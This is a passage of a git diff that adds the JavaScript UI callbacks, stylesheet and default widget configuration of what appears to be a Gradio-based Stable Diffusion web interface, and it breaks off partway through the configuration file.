*/ +function scheduleAfterUiUpdateCallbacks() { + clearTimeout(uiAfterUpdateTimeout); + uiAfterUpdateTimeout = setTimeout(function() { + executeCallbacks(uiAfterUpdateCallbacks); + }, 200); +} + +var executedOnLoaded = false; + +document.addEventListener("DOMContentLoaded", function() { + var mutationObserver = new MutationObserver(function(m) { + if (!executedOnLoaded && gradioApp().querySelector('#txt2img_prompt')) { + executedOnLoaded = true; + executeCallbacks(uiLoadedCallbacks); + } + + executeCallbacks(uiUpdateCallbacks, m); + scheduleAfterUiUpdateCallbacks(); + const newTab = get_uiCurrentTab(); + if (newTab && (newTab !== uiCurrentTab)) { + uiCurrentTab = newTab; + executeCallbacks(uiTabChangeCallbacks); + } + }); + mutationObserver.observe(gradioApp(), {childList: true, subtree: true}); +}); + +/** + * Add a ctrl+enter as a shortcut to start a generation + */ +document.addEventListener('keydown', function(e) { + var handled = false; + if (e.key !== undefined) { + if ((e.key == "Enter" && (e.metaKey || e.ctrlKey || e.altKey))) handled = true; + } else if (e.keyCode !== undefined) { + if ((e.keyCode == 13 && (e.metaKey || e.ctrlKey || e.altKey))) handled = true; + } + if (handled) { + var button = get_uiCurrentTabContent().querySelector('button[id$=_generate]'); + if (button) { + button.click(); + } + e.preventDefault(); + } +}); + +/** + * checks that a UI element is not in another hidden element or tab content + */ +function uiElementIsVisible(el) { + if (el === document) { + return true; + } + + const computedStyle = getComputedStyle(el); + const isVisible = computedStyle.display !== 'none'; + + if (!isVisible) return false; + return uiElementIsVisible(el.parentNode); +} + +function uiElementInSight(el) { + const clRect = el.getBoundingClientRect(); + const windowHeight = window.innerHeight; + const isOnScreen = clRect.bottom > 0 && clRect.top < windowHeight; + + return isOnScreen; +} diff --git a/style.css b/style.css new file mode 100644 index 0000000000000000000000000000000000000000..e18660293dd87eb7977ebed55b209f97dee0c659 --- /dev/null +++ b/style.css @@ -0,0 +1,1104 @@ +/* temporary fix to load default gradio font in frontend instead of backend */ + +@import url('https://fonts.googleapis.com/css2?family=Source+Sans+Pro:wght@400;600&display=swap'); + + +/* temporary fix to hide gradio crop tool until it's fixed https://github.com/gradio-app/gradio/issues/3810 */ + +div.gradio-image button[aria-label="Edit"] { + display: none; +} + + +/* general gradio fixes */ + +:root, .dark{ + --checkbox-label-gap: 0.25em 0.1em; + --section-header-text-size: 12pt; + --block-background-fill: transparent; + +} + +.block.padded:not(.gradio-accordion) { + padding: 0 !important; +} + +div.gradio-container{ + max-width: unset !important; +} + +.hidden{ + display: none; +} + +.compact{ + background: transparent !important; + padding: 0 !important; +} + +div.form{ + border-width: 0; + box-shadow: none; + background: transparent; + overflow: visible; + gap: 0.5em; +} + +.block.gradio-dropdown, +.block.gradio-slider, +.block.gradio-checkbox, +.block.gradio-textbox, +.block.gradio-radio, +.block.gradio-checkboxgroup, +.block.gradio-number, +.block.gradio-colorpicker { + border-width: 0 !important; + box-shadow: none !important; +} + +div.gradio-group, div.styler{ + border-width: 0 !important; + background: none; +} +.gap.compact{ + padding: 0; + gap: 0.2em 0; +} + +div.compact{ + gap: 1em; +} + +.gradio-dropdown label span:not(.has-info), +.gradio-textbox label span:not(.has-info), +.gradio-number label span:not(.has-info) +{ + margin-bottom: 0; +} + +.gradio-dropdown ul.options{ + z-index: 3000; + min-width: fit-content; + max-width: inherit; + white-space: nowrap; +} + +.gradio-dropdown ul.options li.item { + padding: 0.05em 0; +} + +.gradio-dropdown ul.options li.item.selected { + background-color: var(--neutral-100); +} + +.dark .gradio-dropdown ul.options li.item.selected { + background-color: var(--neutral-900); +} + +.gradio-dropdown div.wrap.wrap.wrap.wrap{ + box-shadow: 0 1px 2px 0 rgba(0, 0, 0, 0.05); +} + +.gradio-dropdown:not(.multiselect) .wrap-inner.wrap-inner.wrap-inner{ + flex-wrap: unset; +} + +.gradio-dropdown .single-select{ + white-space: nowrap; + overflow: hidden; +} + +.gradio-dropdown .token-remove.remove-all.remove-all{ + display: none; +} + +.gradio-dropdown.multiselect .token-remove.remove-all.remove-all{ + display: flex; +} + +.gradio-slider input[type="number"]{ + width: 6em; +} + +.block.gradio-checkbox { + margin: 0.75em 1.5em 0 0; +} + +.gradio-html div.wrap{ + height: 100%; +} +div.gradio-html.min{ + min-height: 0; +} + +.block.gradio-gallery{ + background: var(--input-background-fill); +} + +.gradio-container .prose a, .gradio-container .prose a:visited{ + color: unset; + text-decoration: none; +} + +a{ + font-weight: bold; + cursor: pointer; +} + +/* gradio 3.39 puts a lot of overflow: hidden all over the place for an unknown reason. */ +div.gradio-container, .block.gradio-textbox, div.gradio-group, div.gradio-dropdown{ + overflow: visible !important; +} + +/* align-items isn't enough and elements may overflow in Safari. */ +.unequal-height { + align-content: flex-start; +} + + +/* general styled components */ + +.gradio-button.tool{ + max-width: 2.2em; + min-width: 2.2em !important; + height: 2.4em; + align-self: end; + line-height: 1em; + border-radius: 0.5em; +} + +.gradio-button.secondary-down{ + background: var(--button-secondary-background-fill); + color: var(--button-secondary-text-color); +} +.gradio-button.secondary-down, .gradio-button.secondary-down:hover{ + box-shadow: 1px 1px 1px rgba(0,0,0,0.25) inset, 0px 0px 3px rgba(0,0,0,0.15) inset; +} +.gradio-button.secondary-down:hover{ + background: var(--button-secondary-background-fill-hover); + color: var(--button-secondary-text-color-hover); +} + +button.custom-button{ + border-radius: var(--button-large-radius); + padding: var(--button-large-padding); + font-weight: var(--button-large-text-weight); + border: var(--button-border-width) solid var(--button-secondary-border-color); + background: var(--button-secondary-background-fill); + color: var(--button-secondary-text-color); + font-size: var(--button-large-text-size); + display: inline-flex; + justify-content: center; + align-items: center; + transition: var(--button-transition); + box-shadow: var(--button-shadow); + text-align: center; +} + +div.block.gradio-accordion { + border: 1px solid var(--block-border-color) !important; + border-radius: 8px !important; + margin: 2px 0; + padding: 8px 8px; +} + + +/* txt2img/img2img specific */ + +.block.token-counter{ + position: absolute; + display: inline-block; + right: 1em; + min-width: 0 !important; + width: auto; + z-index: 100; + top: -0.75em; +} + +.block.token-counter span{ + background: var(--input-background-fill) !important; + box-shadow: 0 0 0.0 0.3em rgba(192,192,192,0.15), inset 0 0 0.6em rgba(192,192,192,0.075); + border: 2px solid rgba(192,192,192,0.4) !important; + border-radius: 0.4em; +} + +.block.token-counter.error span{ + box-shadow: 0 0 0.0 0.3em rgba(255,0,0,0.15), inset 0 0 0.6em rgba(255,0,0,0.075); + border: 2px solid rgba(255,0,0,0.4) !important; +} + +.block.token-counter div{ + display: inline; +} + +.block.token-counter span{ + padding: 0.1em 0.75em; +} + +[id$=_subseed_show]{ + min-width: auto !important; + flex-grow: 0 !important; + display: flex; +} + +[id$=_subseed_show] label{ + margin-bottom: 0.65em; + align-self: end; +} + +[id$=_seed_extras] > div{ + gap: 0.5em; +} + +.html-log .comments{ + padding-top: 0.5em; +} + +.html-log .comments:empty{ + padding-top: 0; +} + +.html-log .performance { + font-size: 0.85em; + color: #444; + display: flex; +} + +.html-log .performance p{ + display: inline-block; +} + +.html-log .performance p.time, .performance p.vram, .performance p.time abbr, .performance p.vram abbr { + margin-bottom: 0; + color: var(--block-title-text-color); +} + +.html-log .performance p.time { +} + +.html-log .performance p.vram { + margin-left: auto; +} + +.html-log .performance .measurement{ + color: var(--body-text-color); + font-weight: bold; +} + +#txt2img_generate, #img2img_generate { + min-height: 4.5em; +} + +@media screen and (min-width: 2500px) { + #txt2img_gallery, #img2img_gallery { + min-height: 768px; + } +} + +.gradio-gallery .thumbnails img { + object-fit: scale-down !important; +} +#txt2img_actions_column, #img2img_actions_column { + gap: 0.5em; +} +#txt2img_tools, #img2img_tools{ + gap: 0.4em; +} + +.interrogate-col{ + min-width: 0 !important; + max-width: fit-content; + gap: 0.5em; +} +.interrogate-col > button{ + flex: 1; +} + +.generate-box{ + position: relative; +} +.gradio-button.generate-box-skip, .gradio-button.generate-box-interrupt{ + position: absolute; + width: 50%; + height: 100%; + display: none; + background: #b4c0cc; +} +.gradio-button.generate-box-skip:hover, .gradio-button.generate-box-interrupt:hover{ + background: #c2cfdb; +} +.gradio-button.generate-box-interrupt{ + left: 0; + border-radius: 0.5rem 0 0 0.5rem; +} +.gradio-button.generate-box-skip{ + right: 0; + border-radius: 0 0.5rem 0.5rem 0; +} + +#img2img_scale_resolution_preview.block{ + display: flex; + align-items: end; +} + +#txtimg_hr_finalres .resolution, #img2img_scale_resolution_preview .resolution{ + font-weight: bold; +} + +#txtimg_hr_finalres div.pending, #img2img_scale_resolution_preview div.pending { + opacity: 1; + transition: opacity 0s; +} + +.inactive{ + opacity: 0.5; +} + +[id$=_column_batch]{ + min-width: min(13.5em, 100%) !important; +} + +div.dimensions-tools{ + min-width: 1.6em !important; + max-width: fit-content; + flex-direction: column; + place-content: center; +} + +div#extras_scale_to_tab div.form{ + flex-direction: row; +} + +#img2img_sketch, #img2maskimg, #inpaint_sketch { + overflow: overlay !important; + resize: auto; + background: var(--panel-background-fill); + z-index: 5; +} + +.image-buttons > .form{ + justify-content: center; +} + +.infotext { + overflow-wrap: break-word; +} + +#img2img_column_batch{ + align-self: end; + margin-bottom: 0.9em; +} + +#img2img_unused_scale_by_slider{ + visibility: hidden; + width: 0.5em; + max-width: 0.5em; + min-width: 0.5em; +} + +/* settings */ +#quicksettings { + align-items: end; +} + +#quicksettings > div, #quicksettings > fieldset{ + max-width: 36em; + width: fit-content; + flex: 0 1 fit-content; + padding: 0; + border: none; + box-shadow: none; + background: none; +} +#quicksettings > div.gradio-dropdown{ + min-width: 24em !important; +} + +#settings{ + display: block; +} + +#settings > div{ + border: none; + margin-left: 10em; +} + +#settings > div.tab-nav{ + float: left; + display: block; + margin-left: 0; + width: 10em; +} + +#settings > div.tab-nav button{ + display: block; + border: none; + text-align: left; + white-space: initial; +} + +#settings_result{ + height: 1.4em; + margin: 0 1.2em; +} + +table.popup-table{ + background: var(--body-background-fill); + color: var(--body-text-color); + border-collapse: collapse; + margin: 1em; + border: 4px solid var(--body-background-fill); +} + +table.popup-table td{ + padding: 0.4em; + border: 1px solid rgba(128, 128, 128, 0.5); + max-width: 36em; +} + +table.popup-table .muted{ + color: #aaa; +} + +table.popup-table .link{ + text-decoration: underline; + cursor: pointer; + font-weight: bold; +} + +.ui-defaults-none{ + color: #aaa !important; +} + +#settings span{ + color: var(--body-text-color); +} + +#settings .gradio-textbox, #settings .gradio-slider, #settings .gradio-number, #settings .gradio-dropdown, #settings .gradio-checkboxgroup, #settings .gradio-radio{ + margin-top: 0.75em; +} + +#settings span .settings-comment { + display: inline +} + +.settings-comment a{ + text-decoration: underline; +} + +.settings-comment .info{ + opacity: 0.75; +} + +#sysinfo_download a.sysinfo_big_link{ + font-size: 24pt; +} + +#sysinfo_download a{ + text-decoration: underline; +} + +#sysinfo_validity{ + font-size: 18pt; +} + +#settings .settings-info{ + max-width: 48em; + border: 1px dotted #777; + margin: 0; + padding: 1em; +} + + +/* live preview */ +.progressDiv{ + position: absolute; + height: 20px; + background: #b4c0cc; + border-radius: 3px !important; + top: -20px; + width: 100%; +} + +.progress-container{ + position: relative; +} + +[id$=_results].mobile{ + margin-top: 28px; +} + +.dark .progressDiv{ + background: #424c5b; +} + +.progressDiv .progress{ + width: 0%; + height: 20px; + background: #0060df; + color: white; + font-weight: bold; + line-height: 20px; + padding: 0 8px 0 0; + text-align: right; + border-radius: 3px; + overflow: visible; + white-space: nowrap; + padding: 0 0.5em; +} + +.livePreview{ + position: absolute; + z-index: 300; + background: var(--background-fill-primary); + width: 100%; + height: 100%; +} + +.livePreview img{ + position: absolute; + object-fit: contain; + width: 100%; + height: calc(100% - 60px); /* to match gradio's height */ +} + +/* fullscreen popup (ie in Lora's (i) button) */ + +.popup-metadata{ + color: black; + background: white; + display: inline-block; + padding: 1em; + white-space: pre-wrap; +} + +.global-popup{ + display: flex; + position: fixed; + z-index: 1001; + left: 0; + top: 0; + width: 100%; + height: 100%; + overflow: auto; + background-color: rgba(20, 20, 20, 0.95); +} + +.global-popup *{ + box-sizing: border-box; +} + +.global-popup-close:before { + content: "×"; +} + +.global-popup-close{ + position: fixed; + right: 0.25em; + top: 0; + cursor: pointer; + color: white; + font-size: 32pt; +} + +.global-popup-inner{ + display: inline-block; + margin: auto; + padding: 2em; +} + +/* fullpage image viewer */ + +#lightboxModal{ + display: none; + position: fixed; + z-index: 1001; + left: 0; + top: 0; + width: 100%; + height: 100%; + overflow: auto; + background-color: rgba(20, 20, 20, 0.95); + user-select: none; + -webkit-user-select: none; + flex-direction: column; +} + +.modalControls { + display: flex; + position: absolute; + right: 0px; + left: 0px; + gap: 1em; + padding: 1em; + background-color:rgba(0,0,0,0); + z-index: 1; + transition: 0.2s ease background-color; +} +.modalControls:hover { + background-color:rgba(0,0,0,0.9); +} +.modalClose { + margin-left: auto; +} +.modalControls span{ + color: white; + text-shadow: 0px 0px 0.25em black; + font-size: 35px; + font-weight: bold; + cursor: pointer; + width: 1em; +} + +.modalControls span:hover, .modalControls span:focus{ + color: #999; + text-decoration: none; +} + +#lightboxModal > img { + display: block; + margin: auto; + width: auto; +} + +#lightboxModal > img.modalImageFullscreen{ + object-fit: contain; + height: 100%; + width: 100%; + min-height: 0; +} + +.modalPrev, +.modalNext { + cursor: pointer; + position: absolute; + top: 50%; + width: auto; + padding: 16px; + margin-top: -50px; + color: white; + font-weight: bold; + font-size: 20px; + transition: 0.6s ease; + border-radius: 0 3px 3px 0; + user-select: none; + -webkit-user-select: none; +} + +.modalNext { + right: 0; + border-radius: 3px 0 0 3px; +} + +.modalPrev:hover, +.modalNext:hover { + background-color: rgba(0, 0, 0, 0.8); +} + +#imageARPreview { + position: absolute; + top: 0px; + left: 0px; + border: 2px solid red; + background: rgba(255, 0, 0, 0.3); + z-index: 900; + pointer-events: none; + display: none; +} + +/* context menu (ie for the generate button) */ + +#context-menu{ + z-index:9999; + position:absolute; + display:block; + padding:0px 0; + border:2px solid #a55000; + border-radius:8px; + box-shadow:1px 1px 2px #CE6400; + width: 200px; +} + +.context-menu-items{ + list-style: none; + margin: 0; + padding: 0; +} + +.context-menu-items a{ + display:block; + padding:5px; + cursor:pointer; +} + +.context-menu-items a:hover{ + background: #a55000; +} + + +/* extensions */ + +#tab_extensions table{ + border-collapse: collapse; +} + +#tab_extensions table td, #tab_extensions table th{ + border: 1px solid #ccc; + padding: 0.25em 0.5em; +} + +#tab_extensions table input[type="checkbox"]{ + margin-right: 0.5em; + appearance: checkbox; +} + +#tab_extensions button{ + max-width: 16em; +} + +#tab_extensions input[disabled="disabled"]{ + opacity: 0.5; +} + +.extension-tag{ + font-weight: bold; + font-size: 95%; +} + +#available_extensions .info{ + margin: 0; +} + +#available_extensions .info{ + margin: 0.5em 0; + display: flex; + margin-top: auto; + opacity: 0.80; + font-size: 90%; +} + +#available_extensions .date_added{ + margin-right: auto; + display: inline-block; +} + +#available_extensions .star_count{ + margin-left: auto; + display: inline-block; +} + +/* replace original footer with ours */ + +footer { + display: none !important; +} + +#footer{ + text-align: center; +} + +#footer div{ + display: inline-block; +} + +#footer .versions{ + font-size: 85%; + opacity: 0.85; +} + +/* extra networks UI */ + +.extra-network-cards{ + height: calc(100vh - 24rem); + overflow: clip scroll; + resize: vertical; + min-height: 52rem; +} + +.extra-networks > div.tab-nav{ + min-height: 3.4rem; +} + +.extra-networks > div > [id *= '_extra_']{ + margin: 0.3em; +} + +.extra-network-subdirs{ + padding: 0.2em 0.35em; +} + +.extra-network-subdirs button{ + margin: 0 0.15em; +} +.extra-networks .tab-nav .search, +.extra-networks .tab-nav .sort, +.extra-networks .tab-nav .show-dirs +{ + margin: 0.3em; + align-self: center; + width: auto; +} + +.extra-networks .tab-nav .search { + width: 16em; + max-width: 16em; +} + +.extra-networks .tab-nav .sort { + width: 12em; + max-width: 12em; +} + +#txt2img_extra_view, #img2img_extra_view { + width: auto; +} + +.extra-network-cards .nocards{ + margin: 1.25em 0.5em 0.5em 0.5em; +} + +.extra-network-cards .nocards h1{ + font-size: 1.5em; + margin-bottom: 1em; +} + +.extra-network-cards .nocards li{ + margin-left: 0.5em; +} + + +.extra-network-cards .card .button-row{ + display: none; + position: absolute; + color: white; + right: 0; + z-index: 1 +} +.extra-network-cards .card:hover .button-row{ + display: flex; +} + +.extra-network-cards .card .card-button{ + color: white; +} + +.extra-network-cards .card .metadata-button:before{ + content: "🛈"; +} + +.extra-network-cards .card .edit-button:before{ + content: "🛠"; +} + +.extra-network-cards .card .card-button { + text-shadow: 2px 2px 3px black; + padding: 0.25em 0.1em; + font-size: 200%; + width: 1.5em; +} +.extra-network-cards .card .card-button:hover{ + color: red; +} + + +.standalone-card-preview.card .preview{ + position: absolute; + object-fit: cover; + width: 100%; + height:100%; +} + +.extra-network-cards .card, .standalone-card-preview.card{ + display: inline-block; + margin: 0.5rem; + width: 16rem; + height: 24rem; + box-shadow: 0 0 5px rgba(128, 128, 128, 0.5); + border-radius: 0.2rem; + position: relative; + + background-size: auto 100%; + background-position: center; + overflow: hidden; + cursor: pointer; + + background-image: url('./file=html/card-no-preview.png') +} + +.extra-network-cards .card:hover{ + box-shadow: 0 0 2px 0.3em rgba(0, 128, 255, 0.35); +} + +.extra-network-cards .card .actions .additional{ + display: none; +} + +.extra-network-cards .card .actions{ + position: absolute; + bottom: 0; + left: 0; + right: 0; + padding: 0.5em; + background: rgba(0,0,0,0.5); + box-shadow: 0 0 0.25em 0.25em rgba(0,0,0,0.5); + text-shadow: 0 0 0.2em black; +} + +.extra-network-cards .card .actions *{ + color: white; +} + +.extra-network-cards .card .actions .name{ + font-size: 1.7em; + font-weight: bold; + line-break: anywhere; +} + +.extra-network-cards .card .actions .description { + display: block; + max-height: 3em; + white-space: pre-wrap; + line-height: 1.1; +} + +.extra-network-cards .card .actions .description:hover { + max-height: none; +} + +.extra-network-cards .card .actions:hover .additional{ + display: block; +} + +.extra-network-cards .card ul{ + margin: 0.25em 0 0.75em 0.25em; + cursor: unset; +} + +.extra-network-cards .card ul a{ + cursor: pointer; +} + +.extra-network-cards .card ul a:hover{ + color: red; +} + +.extra-network-cards .card .preview{ + position: absolute; + object-fit: cover; + width: 100%; + height:100%; +} + +div.block.gradio-box.edit-user-metadata { + width: 56em; + background: var(--body-background-fill); + padding: 2em !important; +} + +.edit-user-metadata .extra-network-name{ + font-size: 18pt; + color: var(--body-text-color); +} + +.edit-user-metadata .file-metadata{ + color: var(--body-text-color); +} + +.edit-user-metadata .file-metadata th{ + text-align: left; +} + +.edit-user-metadata .file-metadata th, .edit-user-metadata .file-metadata td{ + padding: 0.3em 1em; + overflow-wrap: anywhere; + word-break: break-word; +} + +.edit-user-metadata .wrap.translucent{ + background: var(--body-background-fill); +} +.edit-user-metadata .gradio-highlightedtext span{ + word-break: break-word; +} + +.edit-user-metadata-buttons{ + margin-top: 1.5em; +} + + + + +div.block.gradio-box.popup-dialog, .popup-dialog { + width: 56em; + background: var(--body-background-fill); + padding: 2em !important; +} + +div.block.gradio-box.popup-dialog > div:last-child, .popup-dialog > div:last-child{ + margin-top: 1em; +} + +div.block.input-accordion{ + +} + +.input-accordion-extra{ + flex: 0 0 auto !important; + margin: 0 0.5em 0 auto; +} + +div.accordions > div.input-accordion{ + min-width: fit-content !important; +} + +div.accordions > div.gradio-accordion .label-wrap span{ + white-space: nowrap; + margin-right: 0.25em; +} + +div.accordions{ + gap: 0.5em; +} + +div.accordions > div.input-accordion.input-accordion-open{ + flex: 1 auto; + flex-flow: column; +} + + +/* sticky right hand columns */ + +#img2img_results, #txt2img_results, #extras_results { + position: sticky; + top: 0.5em; +} + +body.resizing { + cursor: col-resize !important; +} + +body.resizing * { + pointer-events: none !important; +} + +body.resizing .resize-handle { + pointer-events: initial !important; +} + +.resize-handle { + position: relative; + cursor: col-resize; + grid-column: 2 / 3; + min-width: 16px !important; + max-width: 16px !important; + height: 100%; +} + +.resize-handle::after { + content: ''; + position: absolute; + top: 0; + bottom: 0; + left: 7.5px; + border-left: 1px dashed var(--border-color-primary); +} diff --git a/ui-config.json b/ui-config.json new file mode 100644 index 0000000000000000000000000000000000000000..2a924268420e16971300ee18b5db0ac950e3b53a --- /dev/null +++ b/ui-config.json @@ -0,0 +1,754 @@ +{ + "txt2img/Prompt/visible": true, + "txt2img/Prompt/value": "", + "txt2img/Negative prompt/visible": true, + "txt2img/Negative prompt/value": "", + "txt2img/Interrupt/visible": true, + "txt2img/Skip/visible": true, + "txt2img/Generate/visible": true, + "txt2img/\u2199\ufe0f/visible": true, + "txt2img/\ud83d\uddd1\ufe0f/visible": true, + "txt2img/Styles/visible": true, + "txt2img/Styles/value": [], + "txt2img/\ud83d\udd8c\ufe0f/visible": true, + "txt2img/\ud83d\udd04/visible": true, + "txt2img/\ud83d\udccb/visible": true, + "txt2img/Close/visible": true, + "txt2img/Tabs@txt2img_extra_tabs/selected": null, + "txt2img/Sampling method/visible": true, + "txt2img/Sampling method/value": "DPM++ 2M Karras", + "txt2img/Sampling steps/visible": true, + "txt2img/Sampling steps/value": 20, + "txt2img/Sampling steps/minimum": 1, + "txt2img/Sampling steps/maximum": 150, + "txt2img/Sampling steps/step": 1, + "txt2img/Upscaler/visible": true, + "txt2img/Upscaler/value": "Latent", + "txt2img/Hires steps/visible": true, + "txt2img/Hires steps/value": 0, + "txt2img/Hires steps/minimum": 0, + "txt2img/Hires steps/maximum": 150, + "txt2img/Hires steps/step": 1, + "txt2img/Denoising strength/visible": true, + "txt2img/Denoising strength/value": 0.7, + "txt2img/Denoising strength/minimum": 0.0, + "txt2img/Denoising strength/maximum": 1.0, + "txt2img/Denoising strength/step": 0.01, + "txt2img/Upscale by/visible": true, + "txt2img/Upscale by/value": 2.0, + "txt2img/Upscale by/minimum": 1.0, + "txt2img/Upscale by/maximum": 4.0, + "txt2img/Upscale by/step": 0.05, + "txt2img/Resize width to/visible": true, + "txt2img/Resize width to/value": 0, + "txt2img/Resize width to/minimum": 0, + "txt2img/Resize width to/maximum": 2048, + "txt2img/Resize width to/step": 8, + "txt2img/Resize height to/visible": true, + "txt2img/Resize height to/value": 0, + "txt2img/Resize height to/minimum": 0, + "txt2img/Resize height to/maximum": 2048, + "txt2img/Resize height to/step": 8, + "txt2img/Hires checkpoint/visible": true, + "txt2img/Hires checkpoint/value": "Use same checkpoint", + "txt2img/Hires sampling method/visible": true, + "txt2img/Hires sampling method/value": "Use same sampler", + "txt2img/Hires prompt/visible": true, + "txt2img/Hires prompt/value": "", + "txt2img/Hires negative prompt/visible": true, + "txt2img/Hires negative prompt/value": "", + "customscript/refiner.py/txt2img/Checkpoint/visible": true, + "customscript/refiner.py/txt2img/Checkpoint/value": "", + "customscript/refiner.py/txt2img/Switch at/visible": true, + "customscript/refiner.py/txt2img/Switch at/value": 0.8, + "customscript/refiner.py/txt2img/Switch at/minimum": 0.01, + "customscript/refiner.py/txt2img/Switch at/maximum": 1.0, + "customscript/refiner.py/txt2img/Switch at/step": 0.01, + "txt2img/Width/visible": true, + "txt2img/Width/value": 512, + "txt2img/Width/minimum": 64, + "txt2img/Width/maximum": 2048, + "txt2img/Width/step": 8, + "txt2img/Height/visible": true, + "txt2img/Height/value": 512, + "txt2img/Height/minimum": 64, + "txt2img/Height/maximum": 2048, + "txt2img/Height/step": 8, + "txt2img/Switch dims/visible": true, + "txt2img/Batch count/visible": true, + "txt2img/Batch count/value": 1, + "txt2img/Batch count/minimum": 1, + "txt2img/Batch count/maximum": 100, + "txt2img/Batch count/step": 1, + "txt2img/Batch size/visible": true, + "txt2img/Batch size/value": 1, + "txt2img/Batch size/minimum": 1, + "txt2img/Batch size/maximum": 8, + "txt2img/Batch size/step": 1, + "txt2img/CFG Scale/visible": true, + "txt2img/CFG Scale/value": 7.0, + "txt2img/CFG Scale/minimum": 1.0, + "txt2img/CFG Scale/maximum": 30.0, + "txt2img/CFG Scale/step": 0.5, + "customscript/seed.py/txt2img/Seed/visible": true, + "customscript/seed.py/txt2img/Seed/value": -1, + "txt2img/Random seed/visible": true, + "txt2img/Reuse seed/visible": true, + "customscript/seed.py/txt2img/Extra/visible": true, + "customscript/seed.py/txt2img/Extra/value": false, + "customscript/seed.py/txt2img/Variation seed/visible": true, + "customscript/seed.py/txt2img/Variation seed/value": -1, + "txt2img/\ud83c\udfb2\ufe0f/visible": true, + "txt2img/\u267b\ufe0f/visible": true, + "customscript/seed.py/txt2img/Variation strength/visible": true, + "customscript/seed.py/txt2img/Variation strength/value": 0.0, + "customscript/seed.py/txt2img/Variation strength/minimum": 0, + "customscript/seed.py/txt2img/Variation strength/maximum": 1, + "customscript/seed.py/txt2img/Variation strength/step": 0.01, + "customscript/seed.py/txt2img/Resize seed from width/visible": true, + "customscript/seed.py/txt2img/Resize seed from width/value": 0, + "customscript/seed.py/txt2img/Resize seed from width/minimum": 0, + "customscript/seed.py/txt2img/Resize seed from width/maximum": 2048, + "customscript/seed.py/txt2img/Resize seed from width/step": 8, + "customscript/seed.py/txt2img/Resize seed from height/visible": true, + "customscript/seed.py/txt2img/Resize seed from height/value": 0, + "customscript/seed.py/txt2img/Resize seed from height/minimum": 0, + "customscript/seed.py/txt2img/Resize seed from height/maximum": 2048, + "customscript/seed.py/txt2img/Resize seed from height/step": 8, + "txt2img/Override settings/value": null, + "txt2img/Script/visible": true, + "txt2img/Script/value": "None", + "customscript/prompt_matrix.py/txt2img/Put variable parts at start of prompt/visible": true, + "customscript/prompt_matrix.py/txt2img/Put variable parts at start of prompt/value": false, + "customscript/prompt_matrix.py/txt2img/Use different seed for each picture/visible": true, + "customscript/prompt_matrix.py/txt2img/Use different seed for each picture/value": false, + "customscript/prompt_matrix.py/txt2img/Select prompt/visible": true, + "customscript/prompt_matrix.py/txt2img/Select prompt/value": "positive", + "customscript/prompt_matrix.py/txt2img/Select joining char/visible": true, + "customscript/prompt_matrix.py/txt2img/Select joining char/value": "comma", + "customscript/prompt_matrix.py/txt2img/Grid margins (px)/visible": true, + "customscript/prompt_matrix.py/txt2img/Grid margins (px)/value": 0, + "customscript/prompt_matrix.py/txt2img/Grid margins (px)/minimum": 0, + "customscript/prompt_matrix.py/txt2img/Grid margins (px)/maximum": 500, + "customscript/prompt_matrix.py/txt2img/Grid margins (px)/step": 2, + "customscript/prompts_from_file.py/txt2img/Iterate seed every line/visible": true, + "customscript/prompts_from_file.py/txt2img/Iterate seed every line/value": false, + "customscript/prompts_from_file.py/txt2img/Use same random seed for all lines/visible": true, + "customscript/prompts_from_file.py/txt2img/Use same random seed for all lines/value": false, + "customscript/prompts_from_file.py/txt2img/List of prompt inputs/visible": true, + "customscript/prompts_from_file.py/txt2img/List of prompt inputs/value": "", + "customscript/xyz_grid.py/txt2img/X type/visible": true, + "customscript/xyz_grid.py/txt2img/X type/value": "Seed", + "customscript/xyz_grid.py/txt2img/X values/visible": true, + "customscript/xyz_grid.py/txt2img/X values/value": "", + "customscript/xyz_grid.py/txt2img/Y type/visible": true, + "customscript/xyz_grid.py/txt2img/Y type/value": "Nothing", + "customscript/xyz_grid.py/txt2img/Y values/visible": true, + "customscript/xyz_grid.py/txt2img/Y values/value": "", + "customscript/xyz_grid.py/txt2img/Z type/visible": true, + "customscript/xyz_grid.py/txt2img/Z type/value": "Nothing", + "customscript/xyz_grid.py/txt2img/Z values/visible": true, + "customscript/xyz_grid.py/txt2img/Z values/value": "", + "customscript/xyz_grid.py/txt2img/Draw legend/visible": true, + "customscript/xyz_grid.py/txt2img/Draw legend/value": true, + "customscript/xyz_grid.py/txt2img/Keep -1 for seeds/visible": true, + "customscript/xyz_grid.py/txt2img/Keep -1 for seeds/value": false, + "customscript/xyz_grid.py/txt2img/Include Sub Images/visible": true, + "customscript/xyz_grid.py/txt2img/Include Sub Images/value": false, + "customscript/xyz_grid.py/txt2img/Include Sub Grids/visible": true, + "customscript/xyz_grid.py/txt2img/Include Sub Grids/value": false, + "customscript/xyz_grid.py/txt2img/Grid margins (px)/visible": true, + "customscript/xyz_grid.py/txt2img/Grid margins (px)/value": 0, + "customscript/xyz_grid.py/txt2img/Grid margins (px)/minimum": 0, + "customscript/xyz_grid.py/txt2img/Grid margins (px)/maximum": 500, + "customscript/xyz_grid.py/txt2img/Grid margins (px)/step": 2, + "customscript/xyz_grid.py/txt2img/Use text inputs instead of dropdowns/visible": true, + "customscript/xyz_grid.py/txt2img/Use text inputs instead of dropdowns/value": false, + "txt2img/Swap X/Y axes/visible": true, + "txt2img/Swap Y/Z axes/visible": true, + "txt2img/Swap X/Z axes/visible": true, + "txt2img/\ud83d\udcc2/visible": true, + "txt2img/\ud83d\udcbe/visible": true, + "txt2img/\ud83d\uddc3\ufe0f/visible": true, + "txt2img/\ud83d\uddbc\ufe0f/visible": true, + "txt2img/\ud83c\udfa8\ufe0f/visible": true, + "txt2img/\ud83d\udcd0/visible": true, + "txt2img/Description/visible": true, + "txt2img/Description/value": "", + "txt2img/Cancel/visible": true, + "txt2img/Replace preview/visible": true, + "txt2img/Save/visible": true, + "txt2img/Preferred VAE/visible": true, + "txt2img/Preferred VAE/value": "None", + "txt2img/Stable Diffusion version/visible": true, + "txt2img/Stable Diffusion version/value": "Unknown", + "txt2img/Activation text/visible": true, + "txt2img/Activation text/value": "", + "txt2img/Preferred weight/visible": true, + "txt2img/Preferred weight/value": 0.0, + "txt2img/Preferred weight/minimum": 0.0, + "txt2img/Preferred weight/maximum": 2.0, + "txt2img/Preferred weight/step": 0.01, + "txt2img/Random prompt/visible": true, + "txt2img/Random prompt/value": "", + "txt2img/txt2img_extra_sort_order/value": "Default Sort", + "txt2img/Show dirs/value": true, + "img2img/Prompt/visible": true, + "img2img/Prompt/value": "", + "img2img/Negative prompt/visible": true, + "img2img/Negative prompt/value": "", + "img2img/Interrogate\nCLIP/visible": true, + "img2img/Interrogate\nDeepBooru/visible": true, + "img2img/Interrupt/visible": true, + 